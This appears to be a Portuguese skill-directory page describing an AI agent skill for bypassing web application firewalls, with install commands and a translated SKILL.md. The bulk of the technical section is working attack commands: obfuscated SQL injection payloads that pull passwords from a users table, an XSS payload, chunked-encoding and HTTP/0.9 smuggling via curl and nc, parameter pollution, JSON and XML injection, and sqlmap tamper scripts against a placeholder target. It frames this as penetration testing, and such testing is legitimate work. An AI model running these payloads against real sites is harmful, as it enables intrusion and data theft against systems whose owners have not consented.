Pular para o conteúdo
Skillpedia
Agentes35 mil · #6167

performing-web-application-firewall-bypass

Faz seu agente contornar proteções de 'firewall' de aplicações web usando técnicas de ofuscação e manipulação.

O que ela faz

Esta ferramenta ajuda a contornar proteções de segurança (chamadas WAF) em sites. Ela usa truques de codificação e manipulação de requisições para tentar passar por essas defesas, permitindo que testes de segurança sejam realizados.

Quando usar

  • ✓Quando uma falha de segurança conhecida é bloqueada por um sistema de defesa.
  • ✓Durante testes de segurança para verificar se as defesas do site funcionam.
  • ✓Ao avaliar a eficácia das proteções de um site contra ataques.

Exemplo do que pedir para a IA

“Tente contornar a proteção do site example.com para encontrar falhas de segurança.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-application-firewall-bypass/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-application-firewall-bypass/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta diferentes métodos para disfarçar o ataque, como codificar os dados de formas incomuns ou enviar requisições de maneiras que o sistema de defesa não espera. Ela testa várias técnicas para ver qual funciona.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-web-application-firewall-bypass/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Contornando Firewalls de Aplicação Web

Quando Usar

  • Quando vulnerabilidades confirmadas são bloqueadas pela detecção baseada em assinatura do WAF
  • Durante testes de penetração onde o WAF impede a exploração de problemas conhecidos
  • Ao avaliar a eficácia das regras do WAF contra técnicas de evasão
  • Durante engajamentos de equipe vermelha que exigem a evasão de controles de segurança de perímetro
  • Ao testar regras personalizadas de WAF quanto à completude e resistência à evasão

Pré-requisitos

  • Burp Suite Professional com integração SQLMap
  • wafw00f para impressão digital e identificação de WAF
  • SQLMap com scripts tamper para evasão automatizada de WAF
  • Compreensão dos mecanismos de detecção de WAF (assinatura, regex, comportamental)
  • Coleção de técnicas de codificação e ofuscação por tipo de ataque
  • Conhecimento das nuances do protocolo HTTP exploráveis para evasão

Fluxo de Trabalho

Passo 1 — Identificar e Fazer a Impressão Digital do WAF

# Detect WAF using wafw00f
wafw00f http://target.com

# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge

# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie

Passo 2 — Evasão com Codificação e Ofuscação

# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"

# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"

# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"

# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"

# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"

# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"

Passo 3 — Evasão com Métodos HTTP e Truques de Protocolo

# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"

Passo 4 — Evasão com Divisão de Payload e HPP

# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"

Passo 5 — Usar Scripts Tamper do SQLMap

# SQLMap com scripts tamper integrados
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

# Scripts tamper comuns para evasão de WAF:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash

…
Perguntas frequentes

O que é um WAF?

WAF significa Web Application Firewall. É um sistema de segurança que protege sites contra ataques maliciosos, tentando identificar e bloquear tráfego perigoso.

Isso é ilegal?

Usar esta ferramenta em sites que você não tem permissão para testar é ilegal. Ela deve ser usada apenas em ambientes de teste autorizados ou em seus próprios sistemas.

Preciso saber programar para usar?

Embora entender os conceitos ajude, a ferramenta é projetada para ser usada por pessoas que podem não ser programadores experientes, focando em executar os testes.

Detalhes

Descrição original do autor

Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6167
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas